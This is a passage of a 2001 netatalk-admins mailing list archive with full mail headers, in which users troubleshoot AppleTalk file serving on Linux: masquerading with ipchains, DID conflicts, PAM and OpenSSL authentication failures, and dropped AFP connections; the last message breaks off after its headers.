Sep 23 20:29:54 porky gdm[1066]: gdm_slave_session_start: root on :0
Sep 23 20:29:58 porky modprobe: modprobe: Can't locate module 
sound-slot-0
Sep 23 20:29:58 porky modprobe: modprobe: Can't locate module 
sound-service-0-0
Sep 23 20:30:03 porky gnome-name-server[1206]: starting
Sep 23 20:30:03 porky gnome-name-server[1206]: name server starting
Sep 23 20:30:04 porky kernel: hdc: ATAPI 8X CD-ROM drive, 128kB 
Cache, DMA
Sep 23 20:30:04 porky kernel: Uniform CD-ROM driver Revision: 3.12

Thanks,
cory


>On 2001.09.21 18:26 Cory Riddell wrote:
>> I have a 3-machine network.  My server/firewall is a RH7.1
>> machine
>> (basicaly a fresh install).  It has two NICs.  eth0 goes
>> to the
>> internet and eth1 connects to my two other machines (pc
>> and an iMac).
>> I ran lokkit, selected high security and marked eth1 as a
>> trusted
>> device.  Then:
>> ipchains -P forward DENY
>> ipchains -A forward -i eth0 -j MASQ
>> and ip_forward is on.
>>
>> I've also setup Samba for the PC and
>> netatalk-1.4b2+asun2.1.4-0.i368.rpm.  The pc works
>> flawlessly.  The
>> iMac works great for a while (internet, printing on a
>> printer
>> connected to the server, etc..)  But after 5-30 minutes,
>> the mac is
>> no longer able to see the internet.  I can still ping the
>> mac and the
>> mac can still see a shared directory on the linux box, but
>> it cannot
>> see the internet.  No http, and no email.
>>
>> Any ideas?  How do I go about diagnosing a problem like
>> this?
>>
>> ifconfig tells me:
>> eth0 Link encap:Ethernet  HWaddr XX:XX:XX:XX:XX:XX
>>   inet addr:XX.XX.XX.XX  Bcast:XX.XX.XX.255
>> Mask:255.255.255.0
>>   UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
>>   RX packets:121781 errors:0 dropped:0 overruns:0
>> frame:0
>>   TX packets:4935 errors:0 dropped:0 overruns:0
>> carrier:0
>>   collisions:171
>> eth1 Link encap:Ethernet  HWaddr XX:XX:XX:XX:XX:XX
>>   inet addr:192.168.0.1  Bcast:192.168.0.255
>> Mask:255.255.255.0
>>   EtherTalk Phase 2 addr:65280/178
>>   UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
>>   RX packets:120865 errors:0 dropped:0 overruns:0
>> frame:0
>>   TX packets:4831 errors:0 dropped:0 overruns:0
>> carrier:0
>>   collisions:666
>> lo   Link encap:Local Loopback
>>   inet addr:127.0.0.1  Mask:255.0.0.0
>>   EtherTalk Phase 2 addr:0/0
>>   UP LOOPBACK RUNNING  MTU:16436  Metric:1
>>   RX packets:6 errors:0 dropped:0 overruns:0 frame:0
>>   TX packets:6 errors:0 dropped:0 overruns:0 carrier:0
>>   collisions:0
>>
>> Please help!
>> Thanks,
>> Cory
>>


-- 
Cory Riddell, bor@c-riddell.com on 09/23/2001



From netatalk.administrators-errors@umich.edu  Sun Sep 23 21:58:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA08916
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 23 Sep 2001 21:58:46 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA25937
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 23 Sep 2001 21:58:46 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA25923
	for netatalk.administrators-members@umich.edu; Sun, 23 Sep 2001 21:58:46 -0400 (EDT)
Received: from redhat.columbiacomputers.com ([209.194.44.35])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA25665
	for <netatalk-admins@umich.edu>; Sun, 23 Sep 2001 21:58:36 -0400 (EDT)
Received: from gene.ghurst.net (adsl-156-169-109.jan.bellsouth.net [66.156.169.109])
	by redhat.columbiacomputers.com (8.11.2/8.11.2) with SMTP id f8O28GA31355
	for <netatalk-admins@umich.edu>; Sun, 23 Sep 2001 21:08:17 -0500
Content-Type: text/plain;
  charset="iso-8859-1"
From: Gene Hurst <ghurst@columbiacomputers.com>
Organization: Columbia Computers, Inc.
To: netatalk-admins@umich.edu
Date: Sun, 23 Sep 2001 21:05:19 -0500
X-Mailer: KMail [version 1.2]
MIME-Version: 1.0
Message-Id: <01092321051905.02218@gene.ghurst.net>
Content-Transfer-Encoding: 8bit

subscribe

From netatalk.administrators-errors@umich.edu  Sun Sep 23 22:46:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA10402
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 23 Sep 2001 22:46:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA08058
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 23 Sep 2001 22:46:55 -0400 (EDT)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA08047
	for netatalk.administrators-members@umich.edu; Sun, 23 Sep 2001 22:46:55 -0400 (EDT)
Received: from redhat.columbiacomputers.com ([209.194.44.35])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA07927
	for <netatalk-admins@umich.edu>; Sun, 23 Sep 2001 22:46:49 -0400 (EDT)
Received: from gene.ghurst.net (adsl-156-169-109.jan.bellsouth.net [66.156.169.109])
	by redhat.columbiacomputers.com (8.11.2/8.11.2) with SMTP id f8O2uVA31385
	for <netatalk-admins@umich.edu>; Sun, 23 Sep 2001 21:56:31 -0500
Content-Type: text/plain;
  charset="iso-8859-1"
From: Gene Hurst <ghurst@columbiacomputers.com>
Organization: Columbia Computers, Inc.
To: netatalk-admins@umich.edu
Subject: Test Message
Date: Sun, 23 Sep 2001 21:53:35 -0500
X-Mailer: KMail [version 1.2]
MIME-Version: 1.0
Message-Id: <01092321533506.02218@gene.ghurst.net>
Content-Transfer-Encoding: 8bit

syn

From netatalk.administrators-errors@umich.edu  Mon Sep 24 09:29:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA01040
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Sep 2001 09:29:04 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA03333
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Sep 2001 09:29:04 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA03315
	for netatalk.administrators-members@umich.edu; Mon, 24 Sep 2001 09:29:03 -0400 (EDT)
Received: from mail.burneydesign.com (mail.burneydesign.com [216.166.207.34])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA03263
	for <netatalk-admins@umich.edu>; Mon, 24 Sep 2001 09:29:02 -0400 (EDT)
Received: from [192.168.42.39] (216.166.207.35) by mail.burneydesign.com
 with ESMTP (Eudora Internet Mail Server 1.3.1); Mon, 24 Sep 2001 09:29:03 -0400
Mime-Version: 1.0
X-Sender: charles@mail.burneydesign.com
Message-Id: <f05100301b7d4e37141bc@[192.168.42.39]>
Date: Mon, 24 Sep 2001 09:31:16 -0400
To: netatalk-admins@umich.edu
From: Charles Mangin <charles@burneydesign.com>
Subject: DID conflict?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

looking into why my server reset connections over the weekend, i came 
upon this entry in /var/log/messages from last week:

Sep 18 00:31:13 localhost afpd[8360]: WARNING: DID conflict for 
'untitled folder' and 'Temporary Items'. Are these the same file? 
Sep 18 00:31:14 localhost afpd[8360]: WARNING: DID conflict for 
'Trash Can #2' and 'Temporary Items'. Are these the same file?
Sep 18 00:31:45 localhost last message repeated 428 times
Sep 18 00:32:46 localhost last message repeated 1046 times
Sep 18 00:33:47 localhost last message repeated 1030 times
Sep 18 00:34:48 localhost last message repeated 1038 times
Sep 18 00:35:49 localhost last message repeated 1032 times
...

it goes on for a while in this manner


does anybody have more information about what this DID conflict is, 
and how i can clear it up? i see a reference in the mail archive, but 
no mention of exactly how to fix it.

my system is redhat 7.1 with a recent 1.5pre (5? 6? *is* there a 
atalkd -v or something?) if that makes any difference.

From netatalk.administrators-errors@umich.edu  Mon Sep 24 13:29:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA12252
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Sep 2001 13:29:43 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA05165
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Sep 2001 13:29:43 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA05150
	for netatalk.administrators-members@umich.edu; Mon, 24 Sep 2001 13:29:42 -0400 (EDT)
Received: from mail.artshouse.com (H114.C214.tor.velocet.net [216.138.214.114])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA05072
	for <netatalk-admins@umich.edu>; Mon, 24 Sep 2001 13:29:39 -0400 (EDT)
Received: from [192.168.0.16] ( [192.168.0.16] (may be forged))
	by mail.artshouse.com (8.9.3/8.9.3) with ESMTP id NAA15349;
	Mon, 24 Sep 2001 13:28:59 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Mon, 24 Sep 2001 13:29:28 -0400
Subject: Re: Slackware 8 + netatalk 1.5x problems
From: Mark Guertin <mark@artshouse.com>
To: xris <xris@mac.com>
CC: <netatalk-admins@umich.edu>
Message-ID: <B7D4E5B8.B14%mark@artshouse.com>
In-Reply-To: <B7D0FA4E.B1DD%xris@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Thanks muchly

Finally got it going, used the latest CVS (pre7), it compiled cleanly.

The problems for me were as follows:

replaced both the openssl and openssh pkgs from slackware 8.0 with latest
versions, also my system somehow had a -lpam (PAM) on it...removed that.

It now works fine, about to do some extensive testing w/ Quark, etc.

Thanks for the help.

Mark

> From: xris <xris@mac.com>
> Date: Fri, 21 Sep 2001 14:08:15 -0700
> To: Mark Guertin <mark@artshouse.com>, <netatalk-admins@umich.edu>
> Subject: Re: Slackware 8 + netatalk 1.5x problems
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Fri, 21 Sep 2001 17:11:21 -0400 (EDT)
> 
>> Anyone out there tried this combination?
>> No matter what I do it seems I can't get any kind of authentication
>> happening, not even cleartext works...
>> have setup afppasswd via the admin tool, etc...
>> Any slackware users out there can offer help/tips/suggestions?
> 
> Several of us have tried 1.5pre7 with no luck.  The best solution we've
> found is to go back to 1.5pre6 and use something like the following (my
> config)
> 
> ./configure --with-shadow --without-pam --with-tcp-wrappers \
> --enable-lastdid --disable-ddp \
> --with-ssl-dir=/usr/local/ssl --with-config-dir=/etc/atalk
> 
> Also, make sure that you grab the latest version of openssl, as the one that
> comes with slackware doesn't seem to work (this seems to be the main reason
> the passwords fail).   If you have any luck with pre7, please let us know..
> 
> -Chris
> 


From netatalk.administrators-errors@umich.edu  Mon Sep 24 13:50:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA13279
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Sep 2001 13:50:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA00186
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Sep 2001 13:50:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA00167
	for netatalk.administrators-members@umich.edu; Mon, 24 Sep 2001 13:50:17 -0400 (EDT)
Received: from mail.tiri.li (tbm.nwe.de [195.226.126.136])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA29681
	for <netatalk-admins@umich.edu>; Mon, 24 Sep 2001 13:50:00 -0400 (EDT)
Received: (from wwwrun@localhost)
	by mail.tiri.li (8.9.3/8.9.3) id TAA29101;
	Mon, 24 Sep 2001 19:49:31 +0200
Date: Mon, 24 Sep 2001 19:49:31 +0200
Message-Id: <200109241749.TAA29101@mail.tiri.li>
X-Authentication-Warning: mail.tiri.li: wwwrun set sender to info@tiri.li using -f
From: Thomas Baumann <thomasba@morse.com>
To: Mark Guertin <mark@artshouse.com>
Reply-To: Thomas Baumann <thomasba@morse.com>
Cc: xris <xris@mac.com>, netatalk-admins@umich.edu
References: <B7D4E5B8.B14%mark@artshouse.com>
In-Reply-To: <B7D4E5B8.B14%mark@artshouse.com>
MIME-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP3 Imap webMail Program 2.0.11
Sender: info@tiri.li
X-Originating-IP: 217.80.77.107
Subject: Re: Re: Out of Office AutoReply: Slackware 8 + netatalk 1.5x problems

I“m sorry; How can I do that ?
What have I tell my admin to fix this.

Sorry, dear list, I\'ll be in the office,
and try to fix this problem.

- tom

Please fix your out of office replies to not reply to 
lists ;)

I\'m sure you will here this from others as well

Mark

======================================
Mark Guertin, IT Manager
Artshouse Communications Inc.
345 Adelaide Street West, Main Floor
Toronto, ON, Canada   M5V 1R5
Phone (416) 340-6284 x222
Fax - (416) 581-1252

> From: Thomas Baumann <Thomas.Baumann@morse.com>
> Date: Mon, 24 Sep 2001 18:25:25 +0100
> To: Mark Guertin <mark@artshouse.com>
> Subject: Out of Office AutoReply: Slackware 8 + 
netatalk 1.5x problems
> 
> I“m not in the office today. You can reach me via my 
normal extention number
> -773.
> 



-----------------------------------------------------
This mail sent through IMP: http://web.horde.org/imp/

From netatalk.administrators-errors@umich.edu  Mon Sep 24 15:21:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA18134
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Sep 2001 15:21:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA06188
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Sep 2001 15:21:14 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA06166
	for netatalk.administrators-members@umich.edu; Mon, 24 Sep 2001 15:21:13 -0400 (EDT)
Received: from carme.affordablehost.com (host77.globaltap.com [64.23.37.77])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id PAA05976
	for <netatalk-admins@umich.edu>; Mon, 24 Sep 2001 15:21:07 -0400 (EDT)
From: mikko@fs.sorl.net
Received: (qmail 24944 invoked from network); 24 Sep 2001 19:19:13 -0000
Received: from as6-6-3.kt.g.bonet.se (HELO sorl2.fs.sorl.net) (194.236.50.26)
  by host77.globaltap.com with SMTP; 24 Sep 2001 19:19:13 -0000
Message-Id: <5.1.0.14.2.20010924212246.01804b58@carme.affordablehost.com>
X-Sender: postmaster%fs.sorl.net@carme.affordablehost.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Mon, 24 Sep 2001 21:23:03 +0200
To: netatalk-admins@umich.edu
Subject: Re: OS
Mime-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"; format=flowed
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id PAA18134

I suppose I will have a go at FreeBSD tonight then.
Any other recomendations? This computer is going to serve as a fileserver 
for macs.

All the best /Mikko

At 09:33 2001-09-22, you wrote:
>if [choice == debian] then
>    go unstable
>fi
>
>On lųrdag 22. september 2001 08:24, mikko@fs.sorl.net wrote:
> >What OS/dist is best for netatalk today?
> >I have 2 major options: debian or freeebsd.
> >
> >All the best /Mikko
> >



From netatalk.administrators-errors@umich.edu  Mon Sep 24 22:00:58 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA06396
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Sep 2001 22:00:58 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA00857
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Sep 2001 22:00:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA00832
	for netatalk.administrators-members@umich.edu; Mon, 24 Sep 2001 22:00:57 -0400 (EDT)
Received: from scholarone.com (mail.scholarone.com [216.174.15.41])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA00797
	for <netatalk-admins@umich.edu>; Mon, 24 Sep 2001 22:00:56 -0400 (EDT)
Received: from ark (216.174.15.135) by scholarone.com with SMTP (Eudora
 Internet Mail Server 3.0.3) for <netatalk-admins@umich.edu>;
 Mon, 24 Sep 2001 22:00:52 -0400
From: "Alexander" <alexander@ScholarOne.com>
To: <netatalk-admins@umich.edu>
Subject: Authentication failure -- No such file or directory
Date: Mon, 24 Sep 2001 21:59:31 -0400
Message-ID: <NEBBIIKKOLCKKBLNIEHFAEBBHEAA.alexander@ScholarOne.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Newbie here.

I have been unsuccessful in getting ANY Mac user (including guest) authenticated on my Linux box.  I
have tried so many different options of compilation variables that I have lost track - all ending
with the same message in /var/log/messages -

"uams_dhx_pam.c :PAM: PAM_Error: Authentication failure -- No such file or directory"

The only thing that works is that I can get it to appear in the Chooser, and that it recognizes when
I have tried to login with a user name that does not exist.  No matter what username I use - that
same error appears in the log file and the Mac responds with the ".. incorrect password .." message.

Here is my current setup
Linux -
Red Hat 7.1 with a 2.4.6 kernel
AFS Server (v1.2)
OpenSSL v0.9.6-9
netatalk 1.5pre7

Mac (for testing) -
G3 Powerbook with OS 9.1


I have read the posts and tried the suggestions about enabling shadow, using the afppasswd file,
using the .passwd file in the home directory, etc. ad nauseam with the same result each and every
time.

>From another linux box I can remotely ssh into my Netatalk box and login in with my test user just
fine.

AFS Notes:
The share point for the Mac Volume I am trying to mount is not on any AFS volume, so I have not
configured netatalk nor my test user with any afs options. The only thing of interest with afs is a
difference between logging in.... directly at the console results with an AFS Password prompt
(/var/log/messages logs an invalid password) -though connecting via ssh there is only one such
password prompt and there are no error messages).  Both result with a valid login to the user's home
directory.

I have the strangest feeling - there is a simple answer, but I can't see the forest with in huge
tree in my way.

I would gladly take any suggestions no matter how obvious they may seem.

Thanks in advance.
ak
+++++++++++++++++++++++++++
Alexander Karst
alexander@ScholarOne.com







From netatalk.administrators-errors@umich.edu  Mon Sep 24 23:14:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id XAA09357
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 24 Sep 2001 23:14:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id XAA23283
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 24 Sep 2001 23:14:21 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id XAA23269
	for netatalk.administrators-members@umich.edu; Mon, 24 Sep 2001 23:14:20 -0400 (EDT)
Received: from millions.linux-site.net (kato-stinger-2-ws-245.dsl.hickorytech.net [216.114.209.246])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id XAA23240
	for <netatalk-admins@umich.edu>; Mon, 24 Sep 2001 23:14:19 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by millions.linux-site.net (8.11.0/8.11.0) with ESMTP id f8P3FA416815
	for <netatalk-admins@umich.edu>; Mon, 24 Sep 2001 22:15:11 -0500
Date: Mon, 24 Sep 2001 22:15:10 -0500 (CDT)
From: "Flint Million (netatalk)" <netatalk@millions.linux-site.net>
To: netatalk-admins@umich.edu
Subject: abnormal disconnects
Message-ID: <Pine.LNX.4.21.0109242210270.16813-100000@millions.linux-site.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Hello, I'm running netatalk on my private home server, and it is only
accessed by two Macs. The one that is giving me trouble is my PowerMac
7100/G3 (sonnet) running Mac OS 9.1. I can successfully connect to the
netatalk server and work, but randomly (at least as far as I can tell) the
server will kill the connection. Syslog looks like:

afpd[1699]: ASIP session:548(2) from 192.168.1.2:49159
afpd[1699]: dhx login: fmillion
PAM_pwdb[1699]: (netatalk) session opened for user fmillion
afpd[1699]: login fmillion (uid 505, gid 102)
<< no messages while accessing disk >>
afpd[1443]: server_child[1] 1699 killed
<< at this point, Mac dismounts disk with dialog "The file server's
connection has unexpectedly closed down" and crashing/confusing whatever
programs were accessing the disk >>

Nothing seems abnormal except that the syslog reports "killed".

Netatalk 1.5pre3 on i686 (PII-233) w/128MB RAM

--Flint Million



From netatalk.administrators-errors@umich.edu  Tue Sep 25 00:27:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id AAA12746
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 25 Sep 2001 00:27:56 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA16700
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 25 Sep 2001 00:27:56 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA16684
	for netatalk.administrators-members@umich.edu; Tue, 25 Sep 2001 00:27:55 -0400 (EDT)
Received: from editmy.he.net (editmy.he.net [216.218.244.242])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA16655
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 00:27:54 -0400 (EDT)
Received: from [10.0.0.2] (dhcp-314-48.click-network.com [131.191.28.197]) by editmy.he.net (8.8.6/8.8.2) with ESMTP id VAA04463; Mon, 24 Sep 2001 21:27:50 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Mon, 24 Sep 2001 21:27:11 -0700
Subject: Re: abnormal disconnects
From: xris <xris@mac.com>
To: "Flint Million (netatalk)" <netatalk@millions.linux-site.net>,
        <netatalk-admins@umich.edu>
Message-ID: <B7D555AE.B3F2%xris@mac.com>
In-Reply-To: <Pine.LNX.4.21.0109242210270.16813-100000@millions.linux-site.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Hello, I'm running netatalk on my private home server, and it is only
> accessed by two Macs. The one that is giving me trouble is my PowerMac
> 7100/G3 (sonnet) running Mac OS 9.1. I can successfully connect to the
> netatalk server and work, but randomly (at least as far as I can tell) the
> server will kill the connection. Syslog looks like:

I get this, too...  Slackware 8, netatalk 1.5pre6 connecting to a mac
8500/250 running 9.1.   I noticed it on a previous install of slackware 7
running on an old p133 I had for awhile, but only on large file transfers.
With the current install, it seems to happen with any size file transfer, or
when creating a folder (.AppleDouble issues??)...   Though occasionally just
spits me out when I'm browsing the disk....

-Chris


From netatalk.administrators-errors@umich.edu  Tue Sep 25 10:16:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA01064
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 25 Sep 2001 10:16:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA24882
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 25 Sep 2001 10:16:40 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA24880
	for netatalk.administrators-members@umich.edu; Tue, 25 Sep 2001 10:16:39 -0400 (EDT)
Received: from mail.artshouse.com (H114.C214.tor.velocet.net [216.138.214.114])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA24871
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 10:16:38 -0400 (EDT)
Received: from [192.168.0.16] ( [192.168.0.16] (may be forged))
	by mail.artshouse.com (8.9.3/8.9.3) with ESMTP id KAA19818
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 10:16:02 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 25 Sep 2001 10:16:42 -0400
Subject: Re: abnormal disconnects
From: Mark Guertin <mark@artshouse.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B7D60A09.B24%mark@artshouse.com>
In-Reply-To: <B7D555AE.B3F2%xris@mac.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

You might want to try the latest CVS.  I finally got this running yesterday
and have transferred almost 100 gigs to/from my netatalk 1.5pre7 slackware 8
server with no problems as of yet.

Mark
======================================
Mark Guertin, IT Manager
Artshouse Communications Inc.
345 Adelaide Street West, Main Floor
Toronto, ON, Canada   M5V 1R5
Phone (416) 340-6284 x222
Fax - (416) 581-1252

> From: xris <xris@mac.com>
> Date: Mon, 24 Sep 2001 21:27:11 -0700
> To: "Flint Million (netatalk)" <netatalk@millions.linux-site.net>,
> <netatalk-admins@umich.edu>
> Subject: Re: abnormal disconnects
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 25 Sep 2001 00:30:21 -0400 (EDT)
> 
>> Hello, I'm running netatalk on my private home server, and it is only
>> accessed by two Macs. The one that is giving me trouble is my PowerMac
>> 7100/G3 (sonnet) running Mac OS 9.1. I can successfully connect to the
>> netatalk server and work, but randomly (at least as far as I can tell) the
>> server will kill the connection. Syslog looks like:
> 
> I get this, too...  Slackware 8, netatalk 1.5pre6 connecting to a mac
> 8500/250 running 9.1.   I noticed it on a previous install of slackware 7
> running on an old p133 I had for awhile, but only on large file transfers.
> With the current install, it seems to happen with any size file transfer, or
> when creating a folder (.AppleDouble issues??)...   Though occasionally just
> spits me out when I'm browsing the disk....
> 
> -Chris
> 


From netatalk.administrators-errors@umich.edu  Tue Sep 25 10:48:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA02442
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 25 Sep 2001 10:48:12 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA21971
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 25 Sep 2001 10:48:12 -0400 (EDT)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA21952
	for netatalk.administrators-members@umich.edu; Tue, 25 Sep 2001 10:48:12 -0400 (EDT)
Received: from millions.linux-site.net (kato-stinger-2-ws-245.dsl.hickorytech.net [216.114.209.246])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA21913
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 10:48:10 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by millions.linux-site.net (8.11.0/8.11.0) with ESMTP id f8PEmL417157
	for <netatalk-admins@umich.edu>; Tue, 25 Sep 2001 09:48:25 -0500
Date: Tue, 25 Sep 2001 09:48:21 -0500 (CDT)
From: "Flint Million (netatalk)" <netatalk@millions.linux-site.net>
To: netatalk-admins@umich.edu
Subject: Re: abnormal disconnects
In-Reply-To: <3BAFFC31.21461251@virginia.edu>
